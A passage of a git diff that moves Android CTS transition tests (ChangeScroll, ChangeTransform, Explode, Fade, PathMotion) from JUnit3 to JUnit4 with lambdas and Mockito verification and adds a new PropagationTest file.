     private ImageView enterImageViewScene(final ScaleType scaleType) throws Throwable {
         enterScene(R.layout.scene4);
         final ViewGroup container = (ViewGroup) mActivity.findViewById(R.id.holder);
         final ImageView[] imageViews = new ImageView[1];
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mImageView = new ImageView(mActivity);
-                mImage = mActivity.getDrawable(android.R.drawable.ic_media_play);
-                mImageView.setImageDrawable(mImage);
-                mImageView.setScaleType(scaleType);
-                imageViews[0] = mImageView;
-                container.addView(mImageView);
-                LayoutParams layoutParams = mImageView.getLayoutParams();
-                DisplayMetrics metrics = mActivity.getResources().getDisplayMetrics();
-                float size = TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, 50, metrics);
-                layoutParams.width = Math.round(size);
-                layoutParams.height = Math.round(size * 2);
-                mImageView.setLayoutParams(layoutParams);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mImageView = new ImageView(mActivity);
+            mImage = mActivity.getDrawable(android.R.drawable.ic_media_play);
+            mImageView.setImageDrawable(mImage);
+            mImageView.setScaleType(scaleType);
+            imageViews[0] = mImageView;
+            container.addView(mImageView);
+            LayoutParams layoutParams = mImageView.getLayoutParams();
+            DisplayMetrics metrics = mActivity.getResources().getDisplayMetrics();
+            float size = TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, 50, metrics);
+            layoutParams.width = Math.round(size);
+            layoutParams.height = Math.round(size * 2);
+            mImageView.setLayoutParams(layoutParams);
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
         return imageViews[0];
     }
 
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeScrollTest.java b/tests/tests/transition/src/android/transition/cts/ChangeScrollTest.java
index 2dee364..b0e1f9e 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeScrollTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeScrollTest.java
@@ -15,58 +15,59 @@
  */
 package android.transition.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.transition.ChangeScroll;
 import android.transition.TransitionManager;
 import android.view.View;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class ChangeScrollTest extends BaseTransitionTest {
     ChangeScroll mChangeScroll;
 
-    public ChangeScrollTest() {
-    }
-
     @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
+        super.setup();
         mChangeScroll = new ChangeScroll();
         mTransition = mChangeScroll;
         resetListener();
     }
 
+    @Test
     public void testChangeScroll() throws Throwable {
         enterScene(R.layout.scene5);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                final View view = mActivity.findViewById(R.id.text);
-                assertEquals(0, view.getScrollX());
-                assertEquals(0, view.getScrollY());
-                TransitionManager.beginDelayedTransition(mSceneRoot, mChangeScroll);
-                view.scrollTo(150, 300);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            final View view = mActivity.findViewById(R.id.text);
+            assertEquals(0, view.getScrollX());
+            assertEquals(0, view.getScrollY());
+            TransitionManager.beginDelayedTransition(mSceneRoot, mChangeScroll);
+            view.scrollTo(150, 300);
         });
         waitForStart();
         Thread.sleep(150);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                final View view = mActivity.findViewById(R.id.text);
-                final int scrollX = view.getScrollX();
-                final int scrollY = view.getScrollY();
-                assertTrue(scrollX > 0);
-                assertTrue(scrollX < 150);
-                assertTrue(scrollY > 0);
-                assertTrue(scrollY < 300);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            final View view = mActivity.findViewById(R.id.text);
+            final int scrollX = view.getScrollX();
+            final int scrollY = view.getScrollY();
+            assertTrue(scrollX > 0);
+            assertTrue(scrollX < 150);
+            assertTrue(scrollY > 0);
+            assertTrue(scrollY < 300);
         });
         waitForEnd(400);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                final View view = mActivity.findViewById(R.id.text);
-                assertEquals(150, view.getScrollX());
-                assertEquals(300, view.getScrollY());
-            }
+        mActivityRule.runOnUiThread(() -> {
+            final View view = mActivity.findViewById(R.id.text);
+            assertEquals(150, view.getScrollX());
+            assertEquals(300, view.getScrollY());
         });
     }
 }
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeTransformTest.java b/tests/tests/transition/src/android/transition/cts/ChangeTransformTest.java
index 78a5d82..38474a2 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeTransformTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeTransformTest.java
@@ -15,17 +15,32 @@
  */
 package android.transition.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.transition.ChangeTransform;
 import android.transition.TransitionManager;
 import android.view.View;
 import android.view.ViewGroup;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class ChangeTransformTest extends BaseTransitionTest {
     ChangeTransform mChangeTransform;
 
     @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
+        super.setup();
         resetChangeBoundsTransition();
     }
 
@@ -35,79 +50,74 @@
         resetListener();
     }
 
+    @Test
     public void testTranslation() throws Throwable {
         enterScene(R.layout.scene1);
 
         final View redSquare = mActivity.findViewById(R.id.redSquare);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                TransitionManager.beginDelayedTransition(mSceneRoot, mChangeTransform);
-                redSquare.setTranslationX(500);
-                redSquare.setTranslationY(600);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            TransitionManager.beginDelayedTransition(mSceneRoot, mChangeTransform);
+            redSquare.setTranslationX(500);
+            redSquare.setTranslationY(600);
         });
         waitForStart();
 
-        assertEquals(1, mListener.endLatch.getCount()); // still running
+        verify(mListener, never()).onTransitionEnd(any()); // still running
         // There is no way to validate the intermediate matrix because it uses
         // hidden properties of the View to execute.
-        waitForEnd(400);
-        assertEquals(500f, redSquare.getTranslationX());
-        assertEquals(600f, redSquare.getTranslationY());
+        waitForEnd(800);
+        assertEquals(500f, redSquare.getTranslationX(), 0.0f);
+        assertEquals(600f, redSquare.getTranslationY(), 0.0f);
     }
 
+    @Test
     public void testRotation() throws Throwable {
         enterScene(R.layout.scene1);
 
         final View redSquare = mActivity.findViewById(R.id.redSquare);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                TransitionManager.beginDelayedTransition(mSceneRoot, mChangeTransform);
-                redSquare.setRotation(45);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            TransitionManager.beginDelayedTransition(mSceneRoot, mChangeTransform);
+            redSquare.setRotation(45);
         });
         waitForStart();
 
-        assertEquals(1, mListener.endLatch.getCount()); // still running
+        verify(mListener, never()).onTransitionEnd(any()); // still running
         // There is no way to validate the intermediate matrix because it uses
         // hidden properties of the View to execute.
-        waitForEnd(400);
-        assertEquals(45f, redSquare.getRotation());
+        waitForEnd(800);
+        assertEquals(45f, redSquare.getRotation(), 0.0f);
     }
 
+    @Test
     public void testScale() throws Throwable {
         enterScene(R.layout.scene1);
 
         final View redSquare = mActivity.findViewById(R.id.redSquare);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                TransitionManager.beginDelayedTransition(mSceneRoot, mChangeTransform);
-                redSquare.setScaleX(2f);
-                redSquare.setScaleY(3f);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            TransitionManager.beginDelayedTransition(mSceneRoot, mChangeTransform);
+            redSquare.setScaleX(2f);
+            redSquare.setScaleY(3f);
         });
         waitForStart();
 
-        assertEquals(1, mListener.endLatch.getCount()); // still running
+        verify(mListener, never()).onTransitionEnd(any()); // still running
         // There is no way to validate the intermediate matrix because it uses
         // hidden properties of the View to execute.
-        waitForEnd(400);
-        assertEquals(2f, redSquare.getScaleX());
-        assertEquals(3f, redSquare.getScaleY());
+        waitForEnd(800);
+        assertEquals(2f, redSquare.getScaleX(), 0.0f);
+        assertEquals(3f, redSquare.getScaleY(), 0.0f);
     }
 
+    @Test
     public void testReparent() throws Throwable {
         assertEquals(true, mChangeTransform.getReparent());
         enterScene(R.layout.scene5);
         startTransition(R.layout.scene9);
-        assertEquals(1, mListener.endLatch.getCount()); // still running
-        waitForEnd(400);
+        verify(mListener, never()).onTransitionEnd(any()); // still running
+        waitForEnd(800);
 
         resetListener();
         mChangeTransform.setReparent(false);
@@ -116,45 +126,40 @@
         waitForEnd(0); // no transition to run because reparent == false
     }
 
+    @Test
     public void testReparentWithOverlay() throws Throwable {
         assertEquals(true, mChangeTransform.getReparentWithOverlay());
         enterScene(R.layout.scene5);
         startTransition(R.layout.scene9);
-        assertEquals(1, mListener.endLatch.getCount()); // still running
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                View view = new View(mActivity);
-                view.setRight(100);
-                view.setBottom(100);
-                mSceneRoot.getOverlay().add(view);
-                ViewGroup container = (ViewGroup) view.getParent();
-                assertEquals(2, container.getChildCount());
-                mSceneRoot.getOverlay().remove(view);
-                assertTrue(mActivity.findViewById(R.id.text).getVisibility() != View.VISIBLE);
-            }
+        verify(mListener, never()).onTransitionEnd(any()); // still running
+        mActivityRule.runOnUiThread(() -> {
+            View view = new View(mActivity);
+            view.setRight(100);
+            view.setBottom(100);
+            mSceneRoot.getOverlay().add(view);
+            ViewGroup container = (ViewGroup) view.getParent();
+            assertEquals(2, container.getChildCount());
+            mSceneRoot.getOverlay().remove(view);
+            assertTrue(mActivity.findViewById(R.id.text).getVisibility() != View.VISIBLE);
         });
-        waitForEnd(400);
+        waitForEnd(800);
 
         mChangeTransform.setReparentWithOverlay(false);
         assertEquals(false, mChangeTransform.getReparentWithOverlay());
         resetListener();
         startTransition(R.layout.scene5);
-        assertEquals(1, mListener.endLatch.getCount()); // still running
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                View view = new View(mActivity);
-                view.setRight(100);
-                view.setBottom(100);
-                mSceneRoot.getOverlay().add(view);
-                ViewGroup container = (ViewGroup) view.getParent();
-                assertEquals(1, container.getChildCount());
-                mSceneRoot.getOverlay().remove(view);
-                assertEquals(View.VISIBLE, mActivity.findViewById(R.id.text).getVisibility());
-            }
+        verify(mListener, never()).onTransitionEnd(any()); // still running
+        mActivityRule.runOnUiThread(() -> {
+            View view = new View(mActivity);
+            view.setRight(100);
+            view.setBottom(100);
+            mSceneRoot.getOverlay().add(view);
+            ViewGroup container = (ViewGroup) view.getParent();
+            assertEquals(1, container.getChildCount());
+            mSceneRoot.getOverlay().remove(view);
+            assertEquals(View.VISIBLE, mActivity.findViewById(R.id.text).getVisibility());
         });
-        waitForEnd(400);
+        waitForEnd(800);
     }
 }
 
diff --git a/tests/tests/transition/src/android/transition/cts/ExplodeTest.java b/tests/tests/transition/src/android/transition/cts/ExplodeTest.java
index e9e2264..52340e0 100644
--- a/tests/tests/transition/src/android/transition/cts/ExplodeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ExplodeTest.java
@@ -15,18 +15,31 @@
  */
 package android.transition.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.transition.Explode;
 import android.transition.TransitionManager;
 import android.view.View;
-import android.widget.RelativeLayout;
-import android.widget.RelativeLayout.LayoutParams;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class ExplodeTest extends BaseTransitionTest {
     Explode mExplode;
 
     @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
+        super.setup();
         resetTransition();
     }
 
@@ -36,6 +49,7 @@
         resetListener();
     }
 
+    @Test
     public void testExplode() throws Throwable {
         enterScene(R.layout.scene10);
         final View redSquare = mActivity.findViewById(R.id.redSquare);
@@ -43,18 +57,15 @@
         final View blueSquare = mActivity.findViewById(R.id.blueSquare);
         final View yellowSquare = mActivity.findViewById(R.id.yellowSquare);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                TransitionManager.beginDelayedTransition(mSceneRoot, mTransition);
-                redSquare.setVisibility(View.INVISIBLE);
-                greenSquare.setVisibility(View.INVISIBLE);
-                blueSquare.setVisibility(View.INVISIBLE);
-                yellowSquare.setVisibility(View.INVISIBLE);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            TransitionManager.beginDelayedTransition(mSceneRoot, mTransition);
+            redSquare.setVisibility(View.INVISIBLE);
+            greenSquare.setVisibility(View.INVISIBLE);
+            blueSquare.setVisibility(View.INVISIBLE);
+            yellowSquare.setVisibility(View.INVISIBLE);
         });
         waitForStart();
-        assertEquals(1, mListener.endLatch.getCount());
+        verify(mListener, never()).onTransitionEnd(any());
         assertEquals(View.VISIBLE, redSquare.getVisibility());
         assertEquals(View.VISIBLE, greenSquare.getVisibility());
         assertEquals(View.VISIBLE, blueSquare.getVisibility());
@@ -63,24 +74,25 @@
         float redStartY = redSquare.getTranslationY();
 
         Thread.sleep(100);
-        assertTranslation(redSquare, true, true);
-        assertTranslation(greenSquare, false, true);
-        assertTranslation(blueSquare, false, false);
-        assertTranslation(yellowSquare, true, false);
+        verifyTranslation(redSquare, true, true);
+        verifyTranslation(greenSquare, false, true);
+        verifyTranslation(blueSquare, false, false);
+        verifyTranslation(yellowSquare, true, false);
         assertTrue(redStartX > redSquare.getTranslationX()); // moving left
         assertTrue(redStartY > redSquare.getTranslationY()); // moving up
         waitForEnd(400);
 
-        assertNoTranslation(redSquare);
-        assertNoTranslation(greenSquare);
-        assertNoTranslation(blueSquare);
-        assertNoTranslation(yellowSquare);
+        verifyNoTranslation(redSquare);
+        verifyNoTranslation(greenSquare);
+        verifyNoTranslation(blueSquare);
+        verifyNoTranslation(yellowSquare);
         assertEquals(View.INVISIBLE, redSquare.getVisibility());
         assertEquals(View.INVISIBLE, greenSquare.getVisibility());
         assertEquals(View.INVISIBLE, blueSquare.getVisibility());
         assertEquals(View.INVISIBLE, yellowSquare.getVisibility());
     }
 
+    @Test
     public void testImplode() throws Throwable {
         enterScene(R.layout.scene10);
         final View redSquare = mActivity.findViewById(R.id.redSquare);
@@ -88,26 +100,20 @@
         final View blueSquare = mActivity.findViewById(R.id.blueSquare);
         final View yellowSquare = mActivity.findViewById(R.id.yellowSquare);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                redSquare.setVisibility(View.INVISIBLE);
-                greenSquare.setVisibility(View.INVISIBLE);
-                blueSquare.setVisibility(View.INVISIBLE);
-                yellowSquare.setVisibility(View.INVISIBLE);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            redSquare.setVisibility(View.INVISIBLE);
+            greenSquare.setVisibility(View.INVISIBLE);
+            blueSquare.setVisibility(View.INVISIBLE);
+            yellowSquare.setVisibility(View.INVISIBLE);
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                TransitionManager.beginDelayedTransition(mSceneRoot, mTransition);
-                redSquare.setVisibility(View.VISIBLE);
-                greenSquare.setVisibility(View.VISIBLE);
-                blueSquare.setVisibility(View.VISIBLE);
-                yellowSquare.setVisibility(View.VISIBLE);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            TransitionManager.beginDelayedTransition(mSceneRoot, mTransition);
+            redSquare.setVisibility(View.VISIBLE);
+            greenSquare.setVisibility(View.VISIBLE);
+            blueSquare.setVisibility(View.VISIBLE);
+            yellowSquare.setVisibility(View.VISIBLE);
         });
         waitForStart();
 
@@ -119,25 +125,25 @@
         float redStartY = redSquare.getTranslationY();
 
         Thread.sleep(100);
-        assertTranslation(redSquare, true, true);
-        assertTranslation(greenSquare, false, true);
-        assertTranslation(blueSquare, false, false);
-        assertTranslation(yellowSquare, true, false);
+        verifyTranslation(redSquare, true, true);
+        verifyTranslation(greenSquare, false, true);
+        verifyTranslation(blueSquare, false, false);
+        verifyTranslation(yellowSquare, true, false);
         assertTrue(redStartX < redSquare.getTranslationX()); // moving right
         assertTrue(redStartY < redSquare.getTranslationY()); // moving down
         waitForEnd(400);
 
-        assertNoTranslation(redSquare);
-        assertNoTranslation(greenSquare);
-        assertNoTranslation(blueSquare);
-        assertNoTranslation(yellowSquare);
+        verifyNoTranslation(redSquare);
+        verifyNoTranslation(greenSquare);
+        verifyNoTranslation(blueSquare);
+        verifyNoTranslation(yellowSquare);
         assertEquals(View.VISIBLE, redSquare.getVisibility());
         assertEquals(View.VISIBLE, greenSquare.getVisibility());
         assertEquals(View.VISIBLE, blueSquare.getVisibility());
         assertEquals(View.VISIBLE, yellowSquare.getVisibility());
     }
 
-    private void assertTranslation(View view, boolean goLeft, boolean goUp) {
+    private void verifyTranslation(View view, boolean goLeft, boolean goUp) {
         float translationX = view.getTranslationX();
         float translationY = view.getTranslationY();
 
@@ -154,9 +160,9 @@
         }
     }
 
-    private void assertNoTranslation(View view) {
-        assertEquals(0f, view.getTranslationX());
-        assertEquals(0f, view.getTranslationY());
+    private void verifyNoTranslation(View view) {
+        assertEquals(0f, view.getTranslationX(), 0.0f);
+        assertEquals(0f, view.getTranslationY(), 0.0f);
     }
 }
 
diff --git a/tests/tests/transition/src/android/transition/cts/FadeTest.java b/tests/tests/transition/src/android/transition/cts/FadeTest.java
index a6a1b2f..22a6039 100644
--- a/tests/tests/transition/src/android/transition/cts/FadeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/FadeTest.java
@@ -15,18 +15,31 @@
  */
 package android.transition.cts;
 
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.transition.Fade;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * This tests the public API for Fade. The alpha cannot be easily tested as part of CTS,
  * so those are implementation tests.
  */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class FadeTest extends BaseTransitionTest {
     Fade mFade;
 
     @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
+        super.setup();
         resetTransition();
     }
 
@@ -37,16 +50,17 @@
         resetListener();
     }
 
+    @Test
     public void testMode() throws Throwable {
         // Should animate in and out by default
         enterScene(R.layout.scene4);
         startTransition(R.layout.scene1);
-        assertEquals(1, mListener.endLatch.getCount());
+        verify(mListener, never()).onTransitionEnd(any());
         waitForEnd(400);
 
         resetListener();
         startTransition(R.layout.scene4);
-        assertEquals(1, mListener.endLatch.getCount());
+        verify(mListener, never()).onTransitionEnd(any());
         waitForEnd(400);
 
         // Now only animate in
@@ -54,7 +68,7 @@
         mTransition = mFade;
         resetListener();
         startTransition(R.layout.scene1);
-        assertEquals(1, mListener.endLatch.getCount());
+        verify(mListener, never()).onTransitionEnd(any());
         waitForEnd(400);
 
         // No animation since it should only animate in
@@ -72,7 +86,7 @@
         // but it should animate out
         resetListener();
         startTransition(R.layout.scene4);
-        assertEquals(1, mListener.endLatch.getCount());
+        verify(mListener, never()).onTransitionEnd(any());
         waitForEnd(400);
     }
 }
diff --git a/tests/tests/transition/src/android/transition/cts/PathMotionTest.java b/tests/tests/transition/src/android/transition/cts/PathMotionTest.java
index 97bf274..6049600 100644
--- a/tests/tests/transition/src/android/transition/cts/PathMotionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/PathMotionTest.java
@@ -15,32 +15,45 @@
  */
 package android.transition.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+
 import android.graphics.Path;
 import android.graphics.PathMeasure;
 
-import junit.framework.TestCase;
-
-public class PathMotionTest extends TestCase {
+public abstract class PathMotionTest {
     public static void assertPathMatches(Path expectedPath, Path path) {
         PathMeasure expectedMeasure = new PathMeasure(expectedPath, false);
         PathMeasure pathMeasure = new PathMeasure(path, false);
 
-        float expectedLength = expectedMeasure.getLength();
-        assertEquals(expectedLength, pathMeasure.getLength(), 0.01f);
+        boolean expectedNextContour;
+        boolean pathNextContour;
+        int contourIndex = 0;
+        do {
+            float expectedLength = expectedMeasure.getLength();
+            assertEquals("Lengths differ", expectedLength, pathMeasure.getLength(), 0.01f);
 
-        float minLength = Math.min(expectedLength, pathMeasure.getLength());
+            float minLength = Math.min(expectedLength, pathMeasure.getLength());
 
-        float pos[] = new float[2];
+            float[] pos = new float[2];
 
-        float increment = minLength / 5f;
-        for (float along = 0; along <= minLength; along += increment) {
-            expectedMeasure.getPosTan(along, pos, null);
-            float expectedX = pos[0];
-            float expectedY = pos[1];
+            float increment = minLength / 5f;
+            for (float along = 0; along <= minLength; along += increment) {
+                expectedMeasure.getPosTan(along, pos, null);
+                float expectedX = pos[0];
+                float expectedY = pos[1];
 
-            pathMeasure.getPosTan(along, pos, null);
-            assertEquals(expectedX, pos[0], 0.01f);
-            assertEquals(expectedY, pos[1], 0.01f);
-        }
+                pathMeasure.getPosTan(along, pos, null);
+                assertEquals("Failed at " + increment + " in contour " + contourIndex,
+                        expectedX, pos[0], 0.01f);
+                assertEquals("Failed at " + increment + " in contour " + contourIndex,
+                        expectedY, pos[1], 0.01f);
+            }
+            expectedNextContour = expectedMeasure.nextContour();
+            pathNextContour = pathMeasure.nextContour();
+            contourIndex++;
+        } while (expectedNextContour && pathNextContour);
+        assertFalse(expectedNextContour);
+        assertFalse(pathNextContour);
     }
 }
diff --git a/tests/tests/transition/src/android/transition/cts/PatternPathMotionTest.java b/tests/tests/transition/src/android/transition/cts/PatternPathMotionTest.java
index 5485b4a..a7ae8f3 100644
--- a/tests/tests/transition/src/android/transition/cts/PatternPathMotionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/PatternPathMotionTest.java
@@ -15,12 +15,21 @@
  */
 package android.transition.cts;
 
+import static org.junit.Assert.assertSame;
+
 import android.graphics.Path;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.transition.PatternPathMotion;
 
-public class PatternPathMotionTest extends PathMotionTest {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    public void testStraightPath() throws Throwable {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PatternPathMotionTest extends PathMotionTest {
+    @Test
+    public void testStraightPath() {
         Path pattern = new Path();
         pattern.moveTo(100, 500);
         pattern.lineTo(300, 1000);
@@ -35,7 +44,8 @@
         assertPathMatches(expected, pathMotion.getPath(0, 0, 100, 100));
     }
 
-    public void testCurve() throws Throwable {
+    @Test
+    public void testCurve() {
         Path pattern = new Path();
         pattern.addArc(0, 0, 100, 100, 0, 180);
 
@@ -47,5 +57,15 @@
 
         assertPathMatches(expected, pathMotion.getPath(0, 0, 0, 100));
     }
+
+    @Test
+    public void testSetPatternPath() {
+        Path pattern = new Path();
+        pattern.addArc(0, 0, 100, 100, 0, 180);
+
+        PatternPathMotion patternPathMotion = new PatternPathMotion();
+        patternPathMotion.setPatternPath(pattern);
+        assertSame(pattern, patternPathMotion.getPatternPath());
+    }
 }
 
diff --git a/tests/tests/transition/src/android/transition/cts/PropagationTest.java b/tests/tests/transition/src/android/transition/cts/PropagationTest.java
new file mode 100644
index 0000000..dfd7b03
--- /dev/null
+++ b/tests/tests/transition/src/android/transition/cts/PropagationTest.java
@@ -0,0 +1,232 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.transition.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.graphics.Rect;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.transition.CircularPropagation;
+import android.transition.SidePropagation;
+import android.transition.Transition;
+import android.transition.TransitionValues;
+import android.view.Gravity;
+import android.view.View;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class PropagationTest extends BaseTransitionTest {
+    @Test
+    public void testCircularPropagation() throws Throwable {
+        enterScene(R.layout.scene10);
+        CircularPropagation propagation = new CircularPropagation();
+        mTransition.setPropagation(propagation);
+        final TransitionValues redValues = new TransitionValues();
+        redValues.view = mActivity.findViewById(R.id.redSquare);
+        propagation.captureValues(redValues);
+
+        // Only the reported propagation properties are set
+        for (String prop : propagation.getPropagationProperties()) {
+            assertTrue(redValues.values.keySet().contains(prop));
+        }
+        assertEquals(propagation.getPropagationProperties().length, redValues.values.size());
+
+        // check the visibility
+        assertEquals(View.VISIBLE, propagation.getViewVisibility(redValues));
+        assertEquals(View.GONE, propagation.getViewVisibility(null));
+
+        // Check the positions
+        int[] pos = new int[2];
+        redValues.view.getLocationOnScreen(pos);
+        pos[0] += redValues.view.getWidth() / 2;
+        pos[1] += redValues.view.getHeight() / 2;
+        assertEquals(pos[0], propagation.getViewX(redValues));
+        assertEquals(pos[1], propagation.getViewY(redValues));
+
+        mTransition.setEpicenterCallback(new Transition.EpicenterCallback() {
+            @Override
+            public Rect onGetEpicenter(Transition transition) {
+                return new Rect(0, 0, redValues.view.getWidth(), redValues.view.getHeight());
+            }
+        });
+
+        long redDelay = getDelay(R.id.redSquare);
+        // red square's delay should be roughly 0 since it is at the epicenter
+        assertEquals(0f, redDelay, 30f);
+
+        // The green square is on the upper-right
+        long greenDelay = getDelay(R.id.greenSquare);
+        assertTrue(greenDelay < redDelay);
+
+        // The blue square is on the lower-right
+        long blueDelay = getDelay(R.id.blueSquare);
+        assertTrue(blueDelay < greenDelay);
+
+        // Test propagation speed
+        propagation.setPropagationSpeed(1000000000f);
+        assertEquals(0, getDelay(R.id.blueSquare));
+    }
+
+    @Test
+    public void testSidePropagationBottom() throws Throwable {
+        SidePropagation propagation = new SidePropagation();
+        propagation.setSide(Gravity.BOTTOM);
+        mTransition.setEpicenterCallback(new Transition.EpicenterCallback() {
+            @Override
+            public Rect onGetEpicenter(Transition transition) {
+                return new Rect(0, 0, 1, 1);
+            }
+        });
+        mTransition.setPropagation(propagation);
+
+        enterScene(R.layout.scene10);
+
+        // The red square is on the upper-left
+        long redDelay = getDelay(R.id.redSquare);
+
+        // The green square is on the upper-right
+        long greenDelay = getDelay(R.id.greenSquare);
+
+        // The blue square is on the lower-right
+        long blueDelay = getDelay(R.id.blueSquare);
+
+        // The yellow square is on the lower-left
+        long yellowDelay = getDelay(R.id.yellowSquare);
+
+        assertTrue(redDelay > greenDelay);
+        assertTrue(redDelay > yellowDelay);
+        assertTrue(greenDelay > blueDelay);
+        assertTrue(yellowDelay > blueDelay);
+
+        // Test propagation speed
+        propagation.setPropagationSpeed(1000000000f);
+        assertEquals(0, getDelay(R.id.blueSquare));
+    }
+
+    @Test
+    public void testSidePropagationTop() throws Throwable {
+        SidePropagation propagation = new SidePropagation();
+        propagation.setSide(Gravity.TOP);
+        mTransition.setEpicenterCallback(new Transition.EpicenterCallback() {
+            @Override
+            public Rect onGetEpicenter(Transition transition) {
+                return new Rect(0, 0, 1, 1);
+            }
+        });
+        mTransition.setPropagation(propagation);
+
+        enterScene(R.layout.scene10);
+
+        // The red square is on the upper-left
+        long redDelay = getDelay(R.id.redSquare);
+
+        // The green square is on the upper-right
+        long greenDelay = getDelay(R.id.greenSquare);
+
+        // The blue square is on the lower-right
+        long blueDelay = getDelay(R.id.blueSquare);
+
+        // The yellow square is on the lower-left
+        long yellowDelay = getDelay(R.id.yellowSquare);
+
+        assertTrue(yellowDelay > redDelay);
+        assertTrue(yellowDelay > blueDelay);
+        assertTrue(redDelay > greenDelay);
+        assertTrue(blueDelay > greenDelay);
+    }
+
+    @Test
+    public void testSidePropagationRight() throws Throwable {
+        SidePropagation propagation = new SidePropagation();
+        propagation.setSide(Gravity.RIGHT);
+        mTransition.setEpicenterCallback(new Transition.EpicenterCallback() {
+            @Override
+            public Rect onGetEpicenter(Transition transition) {
+                return new Rect(0, 0, 1, 1);
+            }
+        });
+        mTransition.setPropagation(propagation);
+
+        enterScene(R.layout.scene10);
+
+        // The red square is on the upper-left
+        long redDelay = getDelay(R.id.redSquare);
+
+        // The green square is on the upper-right
+        long greenDelay = getDelay(R.id.greenSquare);
+
+        // The blue square is on the lower-right
+        long blueDelay = getDelay(R.id.blueSquare);
+
+        // The yellow square is on the lower-left
+        long yellowDelay = getDelay(R.id.yellowSquare);
+
+        assertTrue(redDelay > greenDelay);
+        assertTrue(redDelay > yellowDelay);
+        assertTrue(yellowDelay > blueDelay);
+        assertTrue(greenDelay > blueDelay);
+    }
+
+    @Test
+    public void testSidePropagationLeft() throws Throwable {
+        SidePropagation propagation = new SidePropagation();
+        propagation.setSide(Gravity.LEFT);
+        mTransition.setEpicenterCallback(new Transition.EpicenterCallback() {
+            @Override
+            public Rect onGetEpicenter(Transition transition) {
+                return new Rect(0, 0, 1, 1);
+            }
